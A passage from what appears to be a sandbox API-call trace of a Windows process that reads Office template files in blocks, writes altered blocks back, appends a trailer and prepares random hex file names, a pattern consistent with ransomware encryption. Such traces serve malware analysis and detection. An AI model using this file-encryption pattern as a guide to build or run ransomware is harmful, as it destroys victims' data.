[0145.726] ReadFile (in: hFile=0x1fb4, lpBuffer=0x3eecfaa0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3eecfae8, lpOverlapped=0x0 | out: lpBuffer=0x3eecfaa0*, lpNumberOfBytesRead=0x3eecfae8*=0x4, lpOverlapped=0x0) returned 1 [0145.729] SetFilePointerEx (in: hFile=0x1fb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a63b0 [0145.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6c50 [0145.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7970 [0145.730] NtQuerySystemTime (in: CurrentTime=0x3eecf9e0 | out: CurrentTime=0x3eecf9e0*=132462177509686000) returned 0x0 [0145.730] RtlRandomEx (in: Seed=0x3eecf9d0 | out: Seed=0x3eecf9d0) returned 0x37fa3996 [0145.730] RtlRandomEx (in: Seed=0x3eecf9d0 | out: Seed=0x3eecf9d0) returned 0x77f50a48 [0145.730] RtlRandomEx (in: Seed=0x3eecf9d0 | out: Seed=0x3eecf9d0) returned 0x30d1bd62 [0145.730] RtlRandomEx (in: Seed=0x3eecf9d0 | out: Seed=0x3eecf9d0) returned 0x18e7b25c [0145.730] RtlRandomEx (in: Seed=0x3eecf9d0 | out: Seed=0x3eecf9d0) returned 0x44538476 [0145.730] RtlRandomEx (in: Seed=0x3eecf9d0 | out: Seed=0x3eecf9d0) returned 0x55dd4ecb [0145.730] RtlRandomEx (in: Seed=0x3eecf9d0 | out: Seed=0x3eecf9d0) returned 0x60603276 [0145.730] RtlRandomEx (in: Seed=0x3eecf9d0 | out: Seed=0x3eecf9d0) returned 0x1140aed9 [0145.730] RtlRandomEx (in: Seed=0x3eecf9d0 | out: Seed=0x3eecf9d0) returned 0x79bfe247 [0145.730] RtlRandomEx (in: Seed=0x3eecf9d0 | out: Seed=0x3eecf9d0) returned 0x1f59a8fb [0145.730] RtlRandomEx (in: Seed=0x3eecf9d0 | out: Seed=0x3eecf9d0) returned 0x1f70bce1 [0145.730] RtlRandomEx (in: Seed=0x3eecf9d0 | out: Seed=0x3eecf9d0) returned 0x58c63eb [0145.730] RtlRandomEx (in: Seed=0x3eecf9d0 | out: Seed=0x3eecf9d0) returned 0x5221bbf7 [0145.730] RtlRandomEx (in: Seed=0x3eecf9d0 | out: Seed=0x3eecf9d0) returned 0x3581cb74 [0145.731] RtlRandomEx (in: Seed=0x3eecf9d0 | out: Seed=0x3eecf9d0) returned 0x784dc96c [0145.731] RtlRandomEx (in: Seed=0x3eecf9d0 | out: Seed=0x3eecf9d0) returned 0x480e664e [0145.731] RtlRandomEx (in: Seed=0x3eecf9d0 | out: Seed=0x3eecf9d0) returned 0x32397f6a [0145.731] RtlRandomEx (in: Seed=0x3eecf9d0 | out: Seed=0x3eecf9d0) returned 0xf106345 [0145.731] RtlRandomEx (in: Seed=0x3eecf9d0 | out: Seed=0x3eecf9d0) returned 0x4272f1dc [0145.731] RtlRandomEx (in: Seed=0x3eecf9d0 | out: Seed=0x3eecf9d0) returned 0x44a9335e [0145.731] RtlRandomEx (in: Seed=0x3eecf9d0 | out: Seed=0x3eecf9d0) returned 0x6ac73263 [0145.731] RtlRandomEx (in: Seed=0x3eecf9d0 | out: Seed=0x3eecf9d0) returned 0x5be1ccf3 [0145.731] RtlRandomEx (in: Seed=0x3eecf9d0 | out: Seed=0x3eecf9d0) returned 0x1591b03c [0145.731] RtlRandomEx (in: Seed=0x3eecf9d0 | out: Seed=0x3eecf9d0) returned 0x16da670c [0145.731] RtlRandomEx (in: Seed=0x3eecf9d0 | out: Seed=0x3eecf9d0) returned 0x3417acb5 [0145.731] RtlRandomEx (in: Seed=0x3eecf9d0 | out: Seed=0x3eecf9d0) returned 0x445b8623 [0145.731] RtlRandomEx (in: Seed=0x3eecf9d0 | out: Seed=0x3eecf9d0) returned 0x38458353 [0145.731] RtlRandomEx (in: Seed=0x3eecf9d0 | out: Seed=0x3eecf9d0) returned 0x6da63374 [0145.731] RtlRandomEx (in: Seed=0x3eecf9d0 | out: Seed=0x3eecf9d0) returned 0x71ce83b7 [0145.731] RtlRandomEx (in: Seed=0x3eecf9d0 | out: Seed=0x3eecf9d0) returned 0x3007f57e [0145.731] RtlRandomEx (in: Seed=0x3eecf9d0 | out: Seed=0x3eecf9d0) returned 0x44cf4a83 [0145.731] RtlRandomEx (in: Seed=0x3eecf9d0 | out: Seed=0x3eecf9d0) returned 0x58f46dd9 [0145.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7a60 [0145.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504c90 [0145.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7040 [0145.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504c90) returned 1 [0145.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7970) returned 1 [0145.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a63b0) returned 1 [0145.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422a6d10 [0145.741] SetFilePointerEx (in: hFile=0x1fb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.741] ReadFile (in: hFile=0x1fb4, lpBuffer=0x422a6d10, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3eecfa40, lpOverlapped=0x0 | out: lpBuffer=0x422a6d10*, lpNumberOfBytesRead=0x3eecfa40*=0x3c00, lpOverlapped=0x0) returned 1 [0145.746] SetFilePointerEx (in: hFile=0x1fb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0145.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504c90 [0145.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a63b0 [0145.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a63b0) returned 1 [0145.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42213100 [0145.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a63b0 [0145.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7970 [0145.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7970) returned 1 [0145.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504c90) returned 1 [0145.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0145.748] WriteFile (in: hFile=0x1fb4, lpBuffer=0x42213100*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3eecfa40, lpOverlapped=0x0 | out: lpBuffer=0x42213100*, lpNumberOfBytesWritten=0x3eecfa40*=0x3c00, lpOverlapped=0x0) returned 1 [0170.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42213100) returned 1 [0170.738] SetFilePointerEx (in: hFile=0x1fb4, liDistanceToMove=0x1a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.738] ReadFile (in: hFile=0x1fb4, lpBuffer=0x422a6d10, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3eecfa40, lpOverlapped=0x0 | out: lpBuffer=0x422a6d10*, lpNumberOfBytesRead=0x3eecfa40*=0x3c00, lpOverlapped=0x0) returned 1 [0170.746] SetFilePointerEx (in: hFile=0x1fb4, liDistanceToMove=0x1a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8f0 [0170.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869a40 [0170.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c980 [0170.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c980) returned 1 [0170.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203a8130 [0170.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c980 [0170.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c9b0 [0170.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c9b0) returned 1 [0170.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869a40) returned 1 [0170.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8f0) returned 1 [0170.748] WriteFile (in: hFile=0x1fb4, lpBuffer=0x203a8130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3eecfa40, lpOverlapped=0x0 | out: lpBuffer=0x203a8130*, lpNumberOfBytesWritten=0x3eecfa40*=0x3c00, lpOverlapped=0x0) returned 1 [0194.327] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203a8130) returned 1 [0194.327] SetFilePointerEx (in: hFile=0x1fb4, liDistanceToMove=0x2a990, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.327] ReadFile (in: hFile=0x1fb4, lpBuffer=0x422a6d10, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3eecfa40, lpOverlapped=0x0 | out: lpBuffer=0x422a6d10*, lpNumberOfBytesRead=0x3eecfa40*=0x3c00, lpOverlapped=0x0) returned 1 [0194.342] SetFilePointerEx (in: hFile=0x1fb4, liDistanceToMove=0x2a990, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc50 [0194.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebe880 [0194.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a360 [0194.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a360) returned 1 [0194.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20222d00 [0194.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a360 [0194.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a390 [0194.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a390) returned 1 [0194.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebe880) returned 1 [0194.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0194.346] WriteFile (in: hFile=0x1fb4, lpBuffer=0x20222d00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3eecfa40, lpOverlapped=0x0 | out: lpBuffer=0x20222d00*, lpNumberOfBytesWritten=0x3eecfa40*=0x3c00, lpOverlapped=0x0) returned 1 [0204.778] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20222d00) returned 1 [0204.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319ef00 [0204.778] SetFilePointerEx (in: hFile=0x1fb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0204.778] WriteFile (in: hFile=0x1fb4, lpBuffer=0x431f5220*, nNumberOfBytesToWrite=0x14e, lpNumberOfBytesWritten=0x3eecfaf0, lpOverlapped=0x0 | out: lpBuffer=0x431f5220*, lpNumberOfBytesWritten=0x3eecfaf0*=0x14e, lpOverlapped=0x0) returned 1 [0215.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61560 [0215.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebbbe0 [0215.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e360 [0215.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1e360) returned 1 [0215.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x42c1e360 [0215.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e330 [0215.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e2d0 [0215.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1e2d0) returned 1 [0215.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebbbe0) returned 1 [0215.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61560) returned 1 [0215.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1ce61560 [0215.941] sprintf (in: _Dest=0x1ce61560, _Format="%c%c" | out: _Dest="47") returned 2 [0215.942] sprintf (in: _Dest=0x1ce61562, _Format="%c%c" | out: _Dest="0d") returned 2 [0215.942] sprintf (in: _Dest=0x1ce61564, _Format="%c%c" | out: _Dest="f5") returned 2 [0215.942] sprintf (in: _Dest=0x1ce61566, _Format="%c%c" | out: _Dest="6b") returned 2 [0215.942] sprintf (in: _Dest=0x1ce61568, _Format="%c%c" | out: _Dest="47") returned 2 [0215.942] sprintf (in: _Dest=0x1ce6156a, _Format="%c%c" | out: _Dest="35") returned 2 [0215.942] sprintf (in: _Dest=0x1ce6156c, _Format="%c%c" | out: _Dest="55") returned 2 [0215.942] sprintf (in: _Dest=0x1ce6156e, _Format="%c%c" | out: _Dest="98") returned 2 [0215.942] sprintf (in: _Dest=0x1ce61570, _Format="%c%c" | out: _Dest="ce") returned 2 [0215.942] sprintf (in: _Dest=0x1ce61572, _Format="%c%c" | out: _Dest="18") returned 2 [0215.942] sprintf (in: _Dest=0x1ce61574, _Format="%c%c" | out: _Dest="d2") returned 2 [0215.942] sprintf (in: _Dest=0x1ce61576, _Format="%c%c" | out: _Dest="b8") returned 2 [0215.942] sprintf (in: _Dest=0x1ce61578, _Format="%c%c" | out: _Dest="a8") returned 2 [0215.942] sprintf (in: _Dest=0x1ce6157a, _Format="%c%c" | out: _Dest="ab") returned 2 [0215.942] sprintf (in: _Dest=0x1ce6157c, _Format="%c%c" | out: _Dest="4f") returned 2 [0215.942] sprintf (in: _Dest=0x1ce6157e, _Format="%c%c" | out: _Dest="56") returned 2 [0215.942] sprintf (in: _Dest=0x1ce61580, _Format="%c%c" | out: _Dest="28") returned 2 [0215.942] sprintf (in: _Dest=0x1ce61582, _Format="%c%c" | out: _Dest="52") returned 2 [0215.942] sprintf (in: _Dest=0x1ce61584, _Format="%c%c" | out: _Dest="72") returned 2 [0215.942] sprintf (in: _Dest=0x1ce61586, _Format="%c%c" | out: _Dest="5c") returned 2 [0215.942] sprintf (in: _Dest=0x1ce61588, _Format="%c%c" | out: _Dest="60") returned 2 [0215.942] sprintf (in: _Dest=0x1ce6158a, _Format="%c%c" | out: _Dest="95") returned 2 [0215.942] sprintf (in: _Dest=0x1ce6158c, _Format="%c%c" | out: _Dest="cd") returned 2 [0215.942] sprintf (in: _Dest=0x1ce6158e, _Format="%c%c" | out: _Dest="53") returned 2 [0215.942] sprintf (in: _Dest=0x1ce61590, _Format="%c%c" | out: _Dest="d8") returned 2 [0215.942] sprintf (in: _Dest=0x1ce61592, _Format="%c%c" | out: _Dest="e1") returned 2 [0215.942] sprintf (in: _Dest=0x1ce61594, _Format="%c%c" | out: _Dest="65") returned 2 [0215.942] sprintf (in: _Dest=0x1ce61596, _Format="%c%c" | out: _Dest="ed") returned 2 [0215.942] RtlInitAnsiString (in: DestinationString=0x3eecfb68, SourceString="470df56b47355598ce18d2b8a8ab4f562852725c6095cd53d8e165ed" | out: DestinationString="470df56b47355598ce18d2b8a8ab4f562852725c6095cd53d8e165ed") [0215.942] RtlAnsiStringToUnicodeString (in: DestinationString=0x3eecfb38, SourceString="470df56b47355598ce18d2b8a8ab4f562852725c6095cd53d8e165ed", AllocateDestinationString=1 | out: DestinationString="470df56b47355598ce18d2b8a8ab4f562852725c6095cd53d8e165ed") returned 0x0 [0215.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1cebb9e0 [0215.943] wcscat (in: _Dest=0x4318ab80, _Source="470df56b473555" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\470df56b473555") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\470df56b473555" [0215.943] wcscat (in: _Dest=0x4318ab80, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\470df56b473555.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\470df56b473555.2f9b60" [0215.943] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\470df56b473555.2f9b60", NtPathName=0x3eecfb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\470df56b473555.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0215.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x4312ad20 Thread: id = 2296 os_tid = 0x1c28 [0145.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\PersonalMonthlyBudget.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\personalmonthlybudget.xltx")) returned 0x20 [0145.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\PersonalMonthlyBudget.xltx", dwFileAttributes=0x20) returned 1 [0145.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\PersonalMonthlyBudget.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\personalmonthlybudget.xltx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1fc0 [0145.744] GetFileSizeEx (in: hFile=0x1fc0, lpFileSize=0x23e4fe20 | out: lpFileSize=0x23e4fe20*=30131) returned 1 [0145.744] SetFilePointerEx (in: hFile=0x1fc0, liDistanceToMove=0x75af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.744] ReadFile (in: hFile=0x1fc0, lpBuffer=0x23e4fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23e4fde8, lpOverlapped=0x0 | out: lpBuffer=0x23e4fda0*, lpNumberOfBytesRead=0x23e4fde8*=0x4, lpOverlapped=0x0) returned 1 [0145.749] SetFilePointerEx (in: hFile=0x1fc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7970 [0145.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ae0 [0145.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260350 [0145.750] NtQuerySystemTime (in: CurrentTime=0x23e4fce0 | out: CurrentTime=0x23e4fce0*=132462177509842000) returned 0x0 [0145.750] RtlRandomEx (in: Seed=0x23e4fcd0 | out: Seed=0x23e4fcd0) returned 0x7f389bdb [0145.750] RtlRandomEx (in: Seed=0x23e4fcd0 | out: Seed=0x23e4fcd0) returned 0x565a4808 [0145.750] RtlRandomEx (in: Seed=0x23e4fcd0 | out: Seed=0x23e4fcd0) returned 0x39ad6a72 [0145.750] RtlRandomEx (in: Seed=0x23e4fcd0 | out: Seed=0x23e4fcd0) returned 0x7848f69d [0145.750] RtlRandomEx (in: Seed=0x23e4fcd0 | out: Seed=0x23e4fcd0) returned 0x45d5051f [0145.750] RtlRandomEx (in: Seed=0x23e4fcd0 | out: Seed=0x23e4fcd0) returned 0x15f807df [0145.750] RtlRandomEx (in: Seed=0x23e4fcd0 | out: Seed=0x23e4fcd0) returned 0x52f06c34 [0145.750] RtlRandomEx (in: Seed=0x23e4fcd0 | out: Seed=0x23e4fcd0) returned 0x6bb9f750 [0145.750] RtlRandomEx (in: Seed=0x23e4fcd0 | out: Seed=0x23e4fcd0) returned 0x575702d2 [0145.750] RtlRandomEx (in: Seed=0x23e4fcd0 | out: Seed=0x23e4fcd0) returned 0x19bb7577 [0145.750] RtlRandomEx (in: Seed=0x23e4fcd0 | out: Seed=0x23e4fcd0) returned 0x6d1f4539 [0145.750] RtlRandomEx (in: Seed=0x23e4fcd0 | out: Seed=0x23e4fcd0) returned 0x5ebe64e1 [0145.750] RtlRandomEx (in: Seed=0x23e4fcd0 | out: Seed=0x23e4fcd0) returned 0xa1f96a1 [0145.750] RtlRandomEx (in: Seed=0x23e4fcd0 | out: Seed=0x23e4fcd0) returned 0xdbb79e8 [0145.750] RtlRandomEx (in: Seed=0x23e4fcd0 | out: Seed=0x23e4fcd0) returned 0x70d904e7 [0145.750] RtlRandomEx (in: Seed=0x23e4fcd0 | out: Seed=0x23e4fcd0) returned 0x72d39895 [0145.750] RtlRandomEx (in: Seed=0x23e4fcd0 | out: Seed=0x23e4fcd0) returned 0x56d5f487 [0145.751] RtlRandomEx (in: Seed=0x23e4fcd0 | out: Seed=0x23e4fcd0) returned 0x57cab74b [0145.751] RtlRandomEx (in: Seed=0x23e4fcd0 | out: Seed=0x23e4fcd0) returned 0x1816b7c7 [0145.751] RtlRandomEx (in: Seed=0x23e4fcd0 | out: Seed=0x23e4fcd0) returned 0x580e7c5b [0145.751] RtlRandomEx (in: Seed=0x23e4fcd0 | out: Seed=0x23e4fcd0) returned 0x2ced6e6d [0145.751] RtlRandomEx (in: Seed=0x23e4fcd0 | out: Seed=0x23e4fcd0) returned 0x75458f34 [0145.751] RtlRandomEx (in: Seed=0x23e4fcd0 | out: Seed=0x23e4fcd0) returned 0x99d4f4f [0145.751] RtlRandomEx (in: Seed=0x23e4fcd0 | out: Seed=0x23e4fcd0) returned 0x39926eef [0145.751] RtlRandomEx (in: Seed=0x23e4fcd0 | out: Seed=0x23e4fcd0) returned 0x641b725b [0145.751] RtlRandomEx (in: Seed=0x23e4fcd0 | out: Seed=0x23e4fcd0) returned 0x1f16a26c [0145.751] RtlRandomEx (in: Seed=0x23e4fcd0 | out: Seed=0x23e4fcd0) returned 0x411bee0b [0145.751] RtlRandomEx (in: Seed=0x23e4fcd0 | out: Seed=0x23e4fcd0) returned 0xadea8a9 [0145.751] RtlRandomEx (in: Seed=0x23e4fcd0 | out: Seed=0x23e4fcd0) returned 0x3a5466a [0145.751] RtlRandomEx (in: Seed=0x23e4fcd0 | out: Seed=0x23e4fcd0) returned 0x64f4ce39 [0145.751] RtlRandomEx (in: Seed=0x23e4fcd0 | out: Seed=0x23e4fcd0) returned 0x708216b4 [0145.751] RtlRandomEx (in: Seed=0x23e4fcd0 | out: Seed=0x23e4fcd0) returned 0x36a012fb [0145.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263800 [0145.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504c90 [0145.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ef0 [0145.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504c90) returned 1 [0145.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260350) returned 1 [0145.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7970) returned 1 [0145.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42216d10 [0145.762] SetFilePointerEx (in: hFile=0x1fc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.762] ReadFile (in: hFile=0x1fc0, lpBuffer=0x42216d10, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x23e4fd40, lpOverlapped=0x0 | out: lpBuffer=0x42216d10*, lpNumberOfBytesRead=0x23e4fd40*=0x3c00, lpOverlapped=0x0) returned 1 [0145.766] SetFilePointerEx (in: hFile=0x1fc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0145.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504c90 [0145.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7970 [0145.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7970) returned 1 [0145.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4221a920 [0145.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7970 [0145.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260350 [0145.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260350) returned 1 [0145.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504c90) returned 1 [0145.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0145.768] WriteFile (in: hFile=0x1fc0, lpBuffer=0x4221a920*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x23e4fd40, lpOverlapped=0x0 | out: lpBuffer=0x4221a920*, lpNumberOfBytesWritten=0x23e4fd40*=0x3c00, lpOverlapped=0x0) returned 1 [0161.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4221a920) returned 1 [0161.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42216d10) returned 1 [0161.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x42059f10 [0161.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059a60 [0161.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0161.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3d40 [0161.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3d40) returned 1 [0161.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x42059d30 [0161.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3d40 [0161.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3d70 [0161.271] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3d70) returned 1 [0161.271] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0161.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059a60) returned 1 [0161.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x126) returned 0x13b620 [0161.272] SetFilePointerEx (in: hFile=0x1fc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.272] WriteFile (hFile=0x1fc0, lpBuffer=0x13b620, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x23e4fdf0, lpOverlapped=0x0) [0188.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18e60 [0188.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebaf60 [0188.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fe50 [0188.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fe50) returned 1 [0188.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1b7d81c0 [0188.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, 